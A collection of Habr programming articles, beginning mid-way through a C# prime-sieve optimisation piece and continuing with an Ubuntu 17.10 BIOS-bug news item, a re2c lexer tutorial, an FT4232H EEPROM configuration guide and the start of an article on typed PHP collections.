for (int i = 0; i < segmentEnd - segmentStart; i++)
{
if (segmentData[i])
{
callback.Invoke((segmentStart + i) \* 2 + 1);
}
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
}
}
}
```
Эта оптимизация ускоряет поиск простых чисел больще, чем вдвое:
Алгоритм: **Сегментированная факторизация с базой 2**
Ищет простые числа до миллиарда: **3.4 секунды**.
10. Сегментированная (2,3)-факторизация
---------------------------------------
В предыдущей реализации мы исключили из рассмотрения числа, делящиеся на два; теперь исключим числа, делящиеся на 2 и 3. Тогда оставшиеся числа делятся на два класса: дающие 1 или 5 в остатке от деления на 6. Поэтому вместо одного битового массива используем два: PrimeMultiples\_6kPlus1 и PrimeMultiples\_6kPlus5; они будут хранить числа вида  и  для чисел, кратных , имеющих 1 или 5 в остатке от деления на 6. Дополнительные усилия нужны, чтобы найти первое число вида , имеющее нужный остаток от деления на 6, но это решается простым перебором .
**SegmentedWheel23.cs**
```
public class SegmentedWheel23 : ISieve
{
const int BUFFER_LENGTH = 128 * 1024;
private long Length;
private long[] FirstPrimes;
private long[] PrimeMultiples_6kPlus1;
private long[] PrimeMultiples_6kPlus5;
public SegmentedWheel23(long length)
{
Length = length;
int firstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(firstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.Skip(2).ToArray();
PrimeMultiples\_6kPlus1 = new long[FirstPrimes.Length];
PrimeMultiples\_6kPlus5 = new long[FirstPrimes.Length];
for (int j = 0; j < FirstPrimes.Length; j++)
{
long prime = FirstPrimes[j];
long val1 = prime \* prime;
while (val1 % 6 != 1) val1 += 2 \* prime;
PrimeMultiples\_6kPlus1[j] = (val1 - 1) / 6;
long val2 = prime \* prime;
while (val2 % 6 != 5) val2 += 2 \* prime;
PrimeMultiples\_6kPlus5[j] = (val2 - 5) / 6;
}
}
private void SieveSegment(BitArray segmentData\_6kPlus1, BitArray segmentData\_6kPlus5, long segmentStart, long segmentEnd)
{
segmentData\_6kPlus1.SetAll(true);
segmentData\_6kPlus5.SetAll(true);
long segmentLength = segmentEnd - segmentStart;
for (int j = 0; j < FirstPrimes.Length; j++)
{
long prime = FirstPrimes[j];
long val1 = PrimeMultiples\_6kPlus1[j] - segmentStart;
while (val1 < segmentLength)
{
segmentData\_6kPlus1[(int)val1] = false;
val1 += prime;
}
PrimeMultiples\_6kPlus1[j] = val1 + segmentStart;
long val2 = PrimeMultiples\_6kPlus5[j] - segmentStart;
while (val2 < segmentLength)
{
segmentData\_6kPlus5[(int)val2] = false;
val2 += prime;
}
PrimeMultiples\_6kPlus5[j] = val2 + segmentStart;
}
}
public void ListPrimes(Action callback)
{
callback.Invoke(2);
callback.Invoke(3);
callback.Invoke(5);
BitArray segmentData\_6kPlus1 = new BitArray(BUFFER\_LENGTH);
BitArray segmentData\_6kPlus5 = new BitArray(BUFFER\_LENGTH);
long max = (Length + 5) / 6;
long segmentStart = 1;
long segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
while (segmentStart < max)
{
SieveSegment(segmentData\_6kPlus1, segmentData\_6kPlus5, segmentStart, segmentEnd);
for (int i = 0; i < segmentEnd - segmentStart; i++)
{
if (segmentData\_6kPlus1[i])
{
long p = (segmentStart + i) \* 6 + 1;
if (p >= Length) break;
callback.Invoke(p);
}
if (segmentData\_6kPlus5[i])
{
long p = (segmentStart + i) \* 6 + 5;
if (p >= Length) break;
callback.Invoke(p);
}
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
}
}
}
```
Алгоритм: **Сегментированная (2,3)-факторизация**
Ищет простые числа до миллиарда: **2.6 секунды**.
11. Сегментированная (2,3,5)-факторизация
-----------------------------------------
Применим ту же идею для чисел, не делящихся на 2, 3 и 5. Тогда у нас будет не два битовых массива, а восемь, по одному на каждый остаток от деления на 30: . В остальном код не особо изменится, и даст нам еще небольшое ускорение.
**SegmentedWheel235.cs**
```
public class SegmentedWheel235 : ISieve
{
const int BUFFER_LENGTH = 128 * 1024;
const int WHEEL = 30;
const int WHEEL_PRIMES_COUNT = 3;
private long[] WheelRemainders = { 1, 7, 11, 13, 17, 19, 23, 29 };
private long[] SkipPrimes = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29 };
private long Length;
private long[] FirstPrimes;
private long[][] PrimeMultiples;
public SegmentedWheel235(long length)
{
Length = length;
int firstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(firstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.Skip(WHEEL\_PRIMES\_COUNT).ToArray();
PrimeMultiples = new long[WheelRemainders.Length][];
for (int i = 0; i < WheelRemainders.Length; i++)
{
PrimeMultiples[i] = new long[FirstPrimes.Length];
for (int j = 0; j < FirstPrimes.Length; j++)
{
long prime = FirstPrimes[j];
long val = prime \* prime;
while (val % WHEEL != WheelRemainders[i]) val += 2 \* prime;
PrimeMultiples[i][j] = (val - WheelRemainders[i]) / WHEEL;
}
}
}
private void SieveSegment(BitArray[] segmentDatas, long segmentStart, long segmentEnd)
{
for (int i = 0; i < segmentDatas.Length; i++)
{
BitArray segmentData = segmentDatas[i];
segmentData.SetAll(true);
long segmentLength = segmentEnd - segmentStart;
for (int j = 0; j < PrimeMultiples[i].Length; j++)
{
long current = PrimeMultiples[i][j] - segmentStart;
long prime = FirstPrimes[j];
if (current >= segmentLength) continue;
while (current < segmentLength)
{
segmentData[(int)current] = false;
current += prime;
}
PrimeMultiples[i][j] = segmentStart + current;
}
}
}
public void ListPrimes(Action callback)
{
foreach (long prime in SkipPrimes) if (prime < Length) callback.Invoke(prime);
BitArray[] segmentDatas = new BitArray[WheelRemainders.Length];
for (int i = 0; i < segmentDatas.Length; i++)
{
segmentDatas[i] = new BitArray(BUFFER\_LENGTH);
}
long max = (Length + WHEEL - 1) / WHEEL;
long segmentStart = 1;
long segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
while (segmentStart < max)
{
SieveSegment(segmentDatas, segmentStart, segmentEnd);
for (int i = 0; i < segmentEnd - segmentStart; i++)
{
long offset = (segmentStart + i) \* WHEEL;
for (int j = 0; j < segmentDatas.Length; j++)
{
if (segmentDatas[j][i])
{
long p = offset + WheelRemainders[j];
if (p >= Length) break;
callback.Invoke(p);
}
}
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
}
}
}
```
Алгоритм: **Сегментированная (2,3,5)-факторизация**
Ищет простые числа до миллиарда: **2.3 секунды**.
12. Оптимизированная сегментированная (2,3,5)-факторизация
----------------------------------------------------------
Факторизация позволяет уменьшить количество чисел, которые мы вычеркиваем, но вычисление индекса байта и бита в битовом массиве (как при просеивании, так и при повторном проходе по массиву для перечисления простых чисел) все равно занимает большую часть времени. Поэтому воспользуемся уже знакомым нам трюком, пользуясь тем, что в факторизации с базой (2,3,5) восемь остатков: вместо восьми битовых массивов используем один массив байт, в котором каждый из восьми бит отвечает за свой остаток от деления на 30. Это позволит нам в массиве PrimeMultiples держать индекс **байта**, а индекс бита будет постоянным. Тогда внутренний цикл просеивания становится исключительно простым:
```
while (current < segmentLength)
{
segmentData[current] &= mask;
current += prime;
}
```
При таком подходе повторный проход по массиву уже занимает больше времени, поскольку требует больше битовых операций. Однако любой байт может принимать всего 256 вариантов, поэтому мы можем заранее вычислить все 256 комбинаций остатков, и вообще избавиться от битовых операций. Например:
```
байт = 255 = 0b11111111, остатки: [1, 7, 11, 13, 17, 19, 23, 29]
байт = 9 = 0b00001001, остатки: [1, 13]
байт = 135 = 0b10000111, остатки: [1, 7, 11, 29]
```
Тогда получение простых чисел сводится к простому циклу:
```
for (int i = 0; i < segmentData.Length; i++)
{
byte data = segmentData[i];
int[] offsets = OffsetsPerByte[data];
for (int j = 0; j < offsets.Length; j++)
{
long p = (segmentStart + i) * 30 + offsets[j];
if (p >= Length) break;
callback.Invoke(p);
}
}
```
Эта оптимизация ускоряет предыдущую реализацию больше, чем в два раза, позволяя найти простые числа до миллиарда меньше, чем за секунду!
**OptimizedSegmentedWheel235.cs**
```
public class OptimizedSegmentedWheel235 : ISieve
{
const int BUFFER_LENGTH = 200 * 1024;
const int WHEEL = 30;
const int WHEEL_PRIMES_COUNT = 3;
private static long[] WheelRemainders = { 1, 7, 11, 13, 17, 19, 23, 29 };
private static long[] SkipPrimes = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29 };
private static byte[] Masks = { 1, 2, 4, 8, 16, 32, 64, 128 };
private static int[][] OffsetsPerByte;
private long Length;
private long[] FirstPrimes;
private long[][] PrimeMultiples;
static OptimizedSegmentedWheel235()
{
OffsetsPerByte = new int[256][];
List offsets = new List();
for (int b = 0; b < 256; b++)
{
offsets.Clear();
for (int i = 0; i < WheelRemainders.Length; i++)
{
if ((b & Masks[i]) != 0) offsets.Add((int)WheelRemainders[i]);
}
OffsetsPerByte[b] = offsets.ToArray();
}
}
public OptimizedSegmentedWheel235(long length)
{
Length = length;
int firstChunkLength = (int)Math.Sqrt(length) + 1;
SieveOfEratosthenes sieve = new SieveOfEratosthenes(firstChunkLength);
List firstPrimes = new List();
sieve.ListPrimes(firstPrimes.Add);
FirstPrimes = firstPrimes.Skip(WHEEL\_PRIMES\_COUNT).ToArray();
PrimeMultiples = new long[WheelRemainders.Length][];
for (int i = 0; i < WheelRemainders.Length; i++)
{
PrimeMultiples[i] = new long[FirstPrimes.Length];
for (int j = 0; j < FirstPrimes.Length; j++)
{
long prime = FirstPrimes[j];
long val = prime \* prime;
while (val % WHEEL != WheelRemainders[i]) val += 2 \* prime;
PrimeMultiples[i][j] = (val - WheelRemainders[i]) / WHEEL;
}
}
}
private void SieveSegment(byte[] segmentData, long segmentStart, long segmentEnd)
{
for (int i = 0; i < segmentData.Length; i++) segmentData[i] = 255;
long segmentLength = segmentEnd - segmentStart;
for (int i = 0; i < WheelRemainders.Length; i++)
{
byte mask = (byte)~Masks[i];
for (int j = 0; j < PrimeMultiples[i].Length; j++)
{
long current = PrimeMultiples[i][j] - segmentStart;
if (current >= segmentLength) continue;
long prime = FirstPrimes[j];
while (current < segmentLength)
{
segmentData[current] &= mask;
current += prime;
}
PrimeMultiples[i][j] = segmentStart + current;
}
}
}
public void ListPrimes(Action callback)
{
foreach (long prime in SkipPrimes) if (prime < Length) callback.Invoke(prime);
long max = (Length + WHEEL - 1) / WHEEL;
byte[] segmentData = new byte[BUFFER\_LENGTH];
long segmentStart = 1;
long segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
while (segmentStart < max)
{
SieveSegment(segmentData, segmentStart, segmentEnd);
for (int i = 0; i < segmentData.Length; i++)
{
long offset = (segmentStart + i) \* WHEEL;
byte data = segmentData[i];
int[] offsets = OffsetsPerByte[data];
for (int j = 0; j < offsets.Length; j++)
{
long p = offset + offsets[j];
if (p >= Length) break;
callback.Invoke(p);
}
}
segmentStart = segmentEnd;
segmentEnd = Math.Min(segmentStart + BUFFER\_LENGTH, max);
}
}
}
```
Алгоритм: **Оптимизированная сегментированная (2,3,5)-факторизация**
Ищет простые числа до миллиарда: **0.93 секунды**.
Максимальное расстояние между простыми числами до триллиона
-----------------------------------------------------------
Используя последнюю версию алгоритма, легко написать простой код, сканирующий простые числа до триллиона и ищущий максимальное расстояние между соседними простыми числами:
```
static void Main(string[] args)
{
var sieve = new OptimizedSegmentedWheel235(1_000_000_000_000);
long maxDistance = 0;
long lastPrime = 0;
Action action = (p) =>
{
long dist = p - lastPrime;
if (dist > maxDistance)
{
Console.WriteLine($"{p} - {lastPrime} = {dist}");
maxDistance = dist;
}
lastPrime = p;
};
sieve.ListPrimes(action);
}
```
Результат работы программы:
Простые числа до **1,000,000,000,000**
Время работы: **26 минут 30 секунд**
Максимальное расстояние между простыми числами: **540**
между 738,832,927,927 и 738,832,928,467
Лучшие библиотеки
-----------------
Рассказ был бы не полон без сравнения с лучшими из существующих библиотек по поиску простых чисел.
Самая известная библиотека — [primegen](https://cr.yp.to/primegen.html), основанная на сильно оптимизированном решете Аткина. Она написана на C самим Даниэлем Бернштейном (соавтором Аткина) 20 лет назад и оптимизирована под Пентиум, поэтому для эффективного ее использования требуется поменять размер буфера в файле conf-words:
```
2048
This is B/32: the number of 32-bit words of space used in the primegen
inner loop. This should fit into the CPU's level-1 cache.
2048 works well on a Pentium-100.
3600 works well on a Pentium II-350.
4004 works well on an UltraSPARC-I/167.
```
На моем ноутбуке наилучшая производительность достигается при установке буфера 65536 байт. В библиотеку входит утилита primegaps, которая как раз и ищет максимальное расстояние между простыми числами. Время ее работы для простых чисел до триллиона — 19 минут.
Но на данный момент, пожалуй, самая быстрая библиотека — [primesieve](https://github.com/kimwalisch/primesieve), написанная на c++ и включающая огромное количество оптимизаций, включая различные стратегии просеивания для маленьких, средних и больших простых чисел, автоматическое определение размера кешей процессора и многопоточность. На моем ноутбуке программа ищет простые числа до триллиона в 8 потоков за 70 секунд. Автор библиотеки Kim Walish подробно описывает [оптимизации в коде](https://github.com/kimwalisch/primesieve/blob/master/src/README.md), поэтому эта библиотека отлично подходит для изучения самых лучших на сегодняшний день оптимизаций и для практического применения.
### Сводная таблица с результатами
Время поиска простых чисел до миллиарда, секунд.
 | https://habr.com/ru/post/526924/ | null | ru | null |
# Ubuntu 17.10 повреждает BIOS на некоторых ноутбуках Lenovo, Acer и Toshiba
Компания Canonical отозвала вышедший в октябре дистрибутив Ubuntu 17.10 и [спрятала ссылку на сайте для скачиваний](https://github.com/canonical-websites/www.ubuntu.com/pull/2541). Причиной стал [критический баг](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1734147) с повреждением BIOS в некоторых моделях ноутбуков Lenovo и одной модели Acer. Полный список пострадавших моделей в данный момент уточняется и пополняется.
Повреждение BIOS проявляется в том, что новые настройки больше невозможно сохранить, а после перезагрузки ноутбук стартует со старыми настройками.
Что ещё хуже, ломается загрузка с USB-флешки, поскольку USB не распознаётся.
Судя по описанию бага, он как будто происходит после активации драйверов intel-spi-\* в ядре. Судя по всему, эти драйверы ещё не доработаны до конца и не готовы для использования на пользовательских системах.
В качестве обхода можно попробовать деактивировать драйверы intel-spi-\*. В описании бага отмечено, что последствия таких действий будут минимальными: «Маловероятно, что кто-то действительно делает что-нибудь такое, для чего требуется этот драйвер».
Список пострадавших моделей ноутбуков:
* Lenovo B40-70
* Lenovo B50-70
* Lenovo B50-80
* Lenovo Flex-3
* Lenovo Flex-10
* Lenovo G40-30
* Lenovo G50-70
* Lenovo G50-80
* Lenovo S20-30
* Lenovo U31-70
* Lenovo Y50-70
* Lenovo Y70-70
* Lenovo Yoga Thinkpad (20C0)
* Lenovo Yoga 2 11" — 20332
* Lenovo Z50-70
* Lenovo Z51-70
* Lenovo Ideapad 100-15IBY
* Acer Aspire E5-771G
Как уже отмечалось, список пополняется.
В комментариях к багу упоминается также модель Toshiba L50B-23G.
На многочисленных форумах пользователи жалуются на эту проблему, потому что у многих ноутбуков отсутствуют приводы CD-ROM — так что они не могут уже загрузиться с другого дистрибутива.
Особенно много жалоб на форумах Lenovo. Это особенно неприятно, потому что часто именно ноутбуки Lenovo ThinkPad часто рекомендуют для работы с Linux, а у компании Canonical на офсайте они включены в список официально поддерживаемого оборудования.
В предыдущих версиях Ubuntu баг не проявляется.
Теоретически, BIOS можно перепрошить и вернуть в исходное состояние (например, с помощью программатора), но это нетривиальная и немного рискованная процедура. К тому же, программатор есть не у каждого пользователя. Поэтому можно понять сильное недовольство тех, кто столкнулся с этой проблемой и не может загрузить ноутбук. «Это неприемлемо, прямо сейчас мой Lenovo G50-80 превратился в кирпич», — пишет один из пострадавших в комментариях к багу на сайте Canonical.
> UPD. Примечание пользователя [r0mik](https://geektimes.ru/users/r0mik/) в [комментариях](https://geektimes.ru/post/296645/#comment_10511465) к статье: «портится не БИОС» в прямом смысле — лочится на запись микросхема SPI Flash. По всей видимости, это происходит при посредстве вышеупомянутого модуля ядра, поскольку только он один и способен к таким действиям (для этого в т.ч. и был написан). Именно от того, что SPI Flash аппаратно залочен на запись, никакое средство отката к стандартным настройкам БИОСа не сработает, потому как настройки-то хранятся в SPI Flash. Программатор тоже не поможет. Поможет только физическая замена микросхемы…
Canonical сейчас активно работает с Lenovo, чтобы найти истинную причину проблемы и выпустить патч. Готовятся новые образы Ubuntu 17.10 с обновленным ядром, которое не будет ломать BIOS на новых установках.
К сожалению, новые образы ничем не помогут тем, кто уже установил Ubuntu 17.10 и повредил прошивку BIOS. Крайний случай — нести ноутбук в ремонт на замену материнской платы. Если же ноутбук всё-таки загружается, то можно попробовать такой [обходной манёвр](https://forums.lenovo.com/t5/Lenovo-P-Y-and-Z-series/Y50-70-BIOS-Can-t-Save-Settings-Or-Exit/m-p/3853208#M157885), который предлагают на форумах техподдержки Lenovo.
У этого пользователя тоже сбилось сохранение новых настроек BIOS и пропала возможность загружаться с USB. Первым делом он проверил последовательность загрузки EFI. Это делается следующей командой:
`efibootmgr -v`
В его случае последовательность загрузки выглядела так:
`BootCurrent: 0001
Timeout: 0 seconds
BootOrder: 0001,0002,2001,2002,2003
Boot0001* antergos_grub HD(1,GPT,f128f12b-fa3e-45b1-b5c9-f03c328498cb,0x800,0x64000)/File(\EFI\antergos_grub\grubx64.efi)
Boot0002* Windows Boot Manager HD(1,GPT,f128f12b-fa3e-45b1-b5c9-f03c328498cb,0x800,0x64000)/File(\EFI\Microsoft\Boot\bootmgfw.efi)RC
Boot2001* EFI USB Device RC
Boot2002* EFI DVD/CDROM RC
Boot2003* EFI Network RC`
Из этого следует, что первым по-любому будет загружаться grubx64.efi из директории antergos\_grub и только с указанного диска.
Логично предположить, что мы можем управлять загрузкой, меняя содержимое папки antergos\_grub. Он просто заменил содержимое этой папки на содержимое пакета менеджера загрузки [rEFInd](https://wiki.archlinux.org/index.php/REFInd_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)), переименовав при этом refind\_x64.efi в grubx64.efi. Тогда после загрузки ноутбука появляется стандартное загрузочное меню rEFInd. | https://habr.com/ru/post/409009/ | null | ru | null |
# re2c — компилятор регулярных выражений
Задача выделения из потока символов определенных лексем является весьма распространенной. Часто ее решают с помощью лексических анализаторов, конфигурируемых регулярными выражениями. Многие анализаторы построены по принципу генерации программного кода, который в свою очередь реализует логику регулярных выражений. Фактически, это компиляция языка регулярных выражений в код языка программирования.
Например, [flex](http://en.wikipedia.org/wiki/Flex_lexical_analyser) — это один из таких анализаторов. Старый, но проверенный годами.
Я много пользовался flex'ом, он имеет и плохие и хорошие стороны, но по большому счету, жаловаться не приходилось.
Но вчера наткнулся на интересный проект — [re2c](http://re2c.org/). По сути, на этой штуке можно писать лексические анализаторы прямо на коленке за несколько минут.
Допустим, вам нужно из строки выделять некоторые команды, целые и дробные числа. Можно расчехлить flex, а можно написать так:
```
#include
#include
enum {
CMD, INT, FLOAT, SPACE, END
};
int scan(char\*\* p, char\*\* lex)
{
char\* marker;
if (lex) \*lex = \*p;
/\*!re2c
re2c:define:YYCTYPE = "unsigned char";
re2c:define:YYCURSOR = \*p;
re2c:define:YYMARKER = marker;
re2c:yyfill:enable = 0;
re2c:yych:conversion = 1;
re2c:indent:top = 1;
"GET"|"PUT"|"EXIT" { return CMD; }
[0-9]+ { return INT; }
[0-9]+ '.' [0-9]\* { return FLOAT; }
[ \t]+ { return SPACE; }
[^] { return END; }
\*/
}
int main(int argc, char\* argv[]) {
char \*p, \*last;
int token;
if (argc < 2) return 1;
p = argv[1];
while ((token = scan(&p, &last)) != END) {
int sz = p - last;
switch (token) {
case CMD: printf("Command: '%.\*s'\n", sz, last); break;
case INT: printf("Number: '%.\*s'\n", sz, last); break;
case FLOAT: printf("Float: '%.\*s'\n", sz, last); break;
}
}
return 0;
}
```
И все!
Понятно, что вся магия происходит в функции «scan()» между строками, ограниченных комментариями "/\*!re2c" и "\*/".
Итак, re2c — это компилятор регулярных выражений, который встраивает код прямо в текст программы.
Если прогнать наш исходник через re2c:
```
re2c.exe -is test.re2c >test.c
```
То получим вот такое:
```
/* Generated by re2c 0.13.5 on Tue Apr 19 21:08:57 2011 */
#include
#include
enum {
CMD, INT, FLOAT, SPACE, END
};
int scan(char\*\* p, char\*\* lex)
{
char\* marker;
if (lex) \*lex = \*p;
{
unsigned char yych;
yych = (unsigned char)\*\*p;
if (yych <= '9') {
if (yych <= 0x1F) {
if (yych == '\t') goto yy8;
goto yy10;
} else {
if (yych <= ' ') goto yy8;
if (yych <= '/') goto yy10;
goto yy6;
}
} else {
if (yych <= 'F') {
if (yych == 'E') goto yy5;
goto yy10;
} else {
if (yych <= 'G') goto yy2;
if (yych == 'P') goto yy4;
goto yy10;
}
}
yy2:
yych = (unsigned char)\*(marker = ++\*p);
if (yych == 'E') goto yy24;
yy3:
{ return END; }
yy4:
yych = (unsigned char)\*(marker = ++\*p);
if (yych == 'U') goto yy23;
goto yy3;
yy5:
yych = (unsigned char)\*(marker = ++\*p);
if (yych == 'X') goto yy18;
goto yy3;
yy6:
++\*p;
if ((yych = (unsigned char)\*\*p) == '.') goto yy13;
if (yych <= '/') goto yy7;
if (yych <= '9') goto yy16;
yy7:
{ return INT; }
yy8:
++\*p;
yych = (unsigned char)\*\*p;
goto yy12;
yy9:
{ return SPACE; }
yy10:
yych = (unsigned char)\*++\*p;
goto yy3;
yy11:
++\*p;
yych = (unsigned char)\*\*p;
yy12:
if (yych == '\t') goto yy11;
if (yych == ' ') goto yy11;
goto yy9;
yy13:
++\*p;
yych = (unsigned char)\*\*p;
if (yych <= '/') goto yy15;
if (yych <= '9') goto yy13;
yy15:
{ return FLOAT; }
yy16:
++\*p;
yych = (unsigned char)\*\*p;
if (yych == '.') goto yy13;
if (yych <= '/') goto yy7;
if (yych <= '9') goto yy16;
goto yy7;
yy18:
yych = (unsigned char)\*++\*p;
if (yych == 'I') goto yy20;
yy19:
\*p = marker;
goto yy3;
yy20:
yych = (unsigned char)\*++\*p;
if (yych != 'T') goto yy19;
yy21:
++\*p;
{ return CMD; }
yy23:
yych = (unsigned char)\*++\*p;
if (yych == 'T') goto yy21;
goto yy19;
yy24:
++\*p;
if ((yych = (unsigned char)\*\*p) == 'T') goto yy21;
goto yy19;
}
}
int main(int argc, char\* argv[]) {
char \*p, \*last;
int token;
if (argc < 2) return 1;
p = argv[1];
while ((token = scan(&p, &last)) != END) {
int sz = p - last;
switch (token) {
case CMD: printf("Command: '%.\*s'\n", sz, last); break;
case INT: printf("Number: '%.\*s'\n", sz, last); break;
case FLOAT: printf("Float: '%.\*s'\n", sz, last); break;
}
}
return 0;
}
```
Страшно? Да, код не для ручной правки, но это и не требуется.
Компилируем:
```
re2c.exe -is test.re2c >test.c && cl test.c
```
Запускаем:
```
test "GET 123.0 12344 PUT 10."
```
Результат:
```
Command: 'GET'
Float: '123.0'
Number: '12344'
Command: 'PUT'
Float: '10.'
```
Как говориться, быстро, дешево и сердито. Чтобы полностью овладеть re2c надо прочитать одну и единственную [страничку документации](http://re2c.org/manual.html).
Кстати, простота работы с re2c не означает, что на нем нельзя делать сложных анализаторов. В [дистрибутиве](http://sourceforge.net/projects/re2c/) есть примеры для грамматики токенов языков [C](http://re2c.svn.sourceforge.net/viewvc/re2c/trunk/re2c/examples/c.re?view=markup) и [Rexx](http://re2c.svn.sourceforge.net/viewvc/re2c/trunk/re2c/examples/rexx/rexx.l?view=markup).
Если [поиграться с флагами re2c](http://re2c.org/manual.html#lbAE), то можно вместо «if/else» генерировать код на основе «switch/case». Выбор стоит сделать на основе понимания, какой код ваш компилятор лучше оптимизирует.
Как я понимаю, анализатор, сгенерированный re2c должен быть весьма быстр, даже очень быстр. Хотя было бы интересно померить его против того же flex'а, [ANTLR](http://www.antlr.org/)'а или [Spirit](http://www.boost.org/doc/libs/1_41_0/libs/spirit/doc/html/spirit/lex/tutorials/lexer_tutorials.html)'a.
Посты почти по теме:
* [Обертка генератора парсеров грамматик Lemon для C++](http://easy-coding.blogspot.com/2009/07/lemon.html) | https://habr.com/ru/post/117843/ | null | ru | null |
# Configuring FT4232H using the ftdi_eeprom
The [FT4232H](https://www.ftdichip.com/Products/ICs/FT4232H.htm) is USB 2.0 High speed to UART IC converter. The [FT4232H](https://www.ftdichip.com/Products/ICs/FT4232H.htm) has four UART ports and one USB port.
By connecting EEPROM memory to this chip, you can set specific operating modes or change the manufacturer's data.
Let's look at the example and configure [FT4232H](https://www.ftdichip.com/Products/ICs/FT4232H.htm) directly on a system running GNU/Linux. We will do this using the `ftdi_eeprom`.
Installing `ftdi_eeprom`
------------------------
The `ftdi_eeprom` is part of the open-source library [`libFTDI`](https://www.intra2net.com/en/developer/libftdi/index.php) and depends on [`libconfuse`](https://github.com/libconfuse/libconfuse).
* To install `ftdi_eeprom` on Ubuntu or Debian, running the following command on terminal:
```
sudo apt-get update
sudo apt-get install ftdi-eeprom
```
* If you are preparing your own distribution using `Yocto Project (thud)`, `ftdi_eeprom` pakage can be installed by adding recipes:
`recipes-support/confuse/confuse_2.7.bb`
```
DESCRIPTION = "Library for parsing configuration files."
HOMEPAGE = "http://www.nongnu.org/confuse/"
SECTION = "libs"
LICENSE = "ISC"
LIC_FILES_CHKSUM = "file://NEWS;md5=18e885b42b86362019e0cab8dc2a393b"
SRC_URI = "http://download.savannah.gnu.org/releases/confuse/confuse-${PV}.tar.gz"
SRC_URI[md5sum] = "45932fdeeccbb9ef4228f1c1a25e9c8f"
SRC_URI[sha256sum] = "e32574fd837e950778dac7ade40787dd2259ef8e28acd6ede6847ca895c88778"
inherit autotools binconfig pkgconfig lib_package gettext
EXTRA_OECONF = "--enable-shared"
BBCLASSEXTEND = "native"
```
`recipes-support/libftdi/libftdi_%.bbappend`
```
PACKAGECONFIG += "ftdi-eeprom"
PACKAGECONFIG[ftdi-eeprom] = "-DFTDI_EEPROM=on,-DFTDI_EEPROM=off,confuse"
PACKAGES =+ "ftdi-eeprom"
FILES_ftdi-eeprom += "${bindir}/ftdi_eeprom"
```
Configuring FT4232H
-------------------
By default there are four UART ports of [FT4232H](https://www.ftdichip.com/Products/ICs/FT4232H.htm) operate in `RS232` mode, the manufacturer name is `FTDI` and the product name is `Quad RS232-HS`.
Let's change the manufacturer name to `habr.com`, the product name to `Quad RS485` and set for UART ports `RS485` operate mode.
Let's prepare the configuration file `habr.conf`
```
# Filename of the EE file to be generated. Leave empty to skip file writing.
filename=habr.bin
# Vendor ID. FT4232H factory default 0x0403.
vendor_id=0x0403
# Product ID. FT4232H factory default 0x6011.
product_id=0x6011
# EEPROM Type: 0x46 for 93xx46, 0x56 for 93xx56 and 0x66 for 93xx66.
eeprom_type=0x56
manufacturer="habr.com"
product="Quad RS485"
serial="1234"
# Use the serial number string.
use_serial=true
# Max. power consumption: value * 2 mA. Use 0 if self_powered = true.
max_power=0
# Turn this off for bus powered.
self_powered=true
# Turn this on for remote wakeup feature.
remote_wakeup=false
# Set port operate mode.
cha_type=UART
chb_type=UART
# Use virtual com-port driver.
cha_vcp=true
chb_vcp=true
chc_vcp=true
chd_vcp=true
# Enable RS485 mode.
cha_rs485=true
chb_rs485=true
chc_rs485=true
chd_rs485=true
```
Using the `ftdi_eeprom` pakage, load our configuration into EEPROM memory by running the following command on terminal:
```
ftdi_eeprom --flash-eeprom habr.conf
```
After rebooting the device, you can see the results of the work:
 | https://habr.com/ru/post/531504/ | null | en | null |
# Генерация строго-типизированных коллекций в PHP
Отсутствие коллекций — боль в заднице PHP. На данный момент нет удобного способа обеспечить безопасность типов для наборов объектов. Я постоянно создаю коллекции, но это означает, что нужно создавать новый класс каждый раз, когда нужна безопасность типов для набора данных.
Добавление на уровне языка поддержки дженериков или типизированных массивов - было бы наилучшим решением. Но, реализовать их сложно. Надеюсь, что когда-нибудь это случится, но, вероятно, этого придется ждать несколько лет.
Свято место пусто не бывает, гитхаб пестрит самодельными решениями, призванными устранить этот недостаток. Большая часть из них представляет собой представление коллекции в виде абстрактного класса, реализующего интерфейсы: `Countable, IteratorAggregate, JsonSerializable`. В классах предлагается расширить один-два метода отвечающие за проверку типа добавляемого значения. Но все это выглядит довольно кустарно.
Главный минус: такие коллекции создают лишнюю связанность наследованием (один из сильнейших видов связанности), которая проникает в каждую щель вашего приложения, ставя вас в зависимость от пакета стороннего вендора. Пакета, обновлявшегося, быть может, года три назад. Пакета, который неизвестно сколько еще просуществует, будет ли обновлять код в соответствии с новыми возможностями языка. А если и будут, не появится ли в нем изменение, которое обрушит ваше приложение.
Разработка решения
------------------
На днях появилась мысль, как решить эту задачу с помощью генерации кода: Предположим у нас есть папка с объектами в которой находится объект `name\space\SomeObject`. Полного имени класса этого объекта нам достаточно, чтобы создать для нее класс коллекции `name\space\collections\SomeObjectCollection`. В чем плюсы такого решения:
1. Такая коллекция может гораздо в большей степени строго-типизированной. Кроме пыхи, которая за строгую типизаицию скажет спасибо увеличением производительности, вы получите удобные подсказки и проверку валидности типов на уровне IDE, меньше ругани со стороны линтеров.
2. Отсутствие зависимости от сторонних пакетов: т.к. код получен генерацией, а не расширением шаблона. Единственная связь, которую потребует класс коллекции – связь с классом, экземпляры которого коллекция будет содержать.
3. Ускорение работы. Команда в CLI с указанием одного имени класса в качестве аргумента быстрее, чем расширение абстрактных шаблонов.
Не найдя в интернете подходящего решения под свою задумку, решил написать его сам. Разработка пакета заняла всего один вечер. Когда стал глубже погружаться в тему, и узнавать больше требований к коллекциям, о которых говорили в интернете, понял, что на доработку и оформление пакета потребуется потратить еще один вечер.
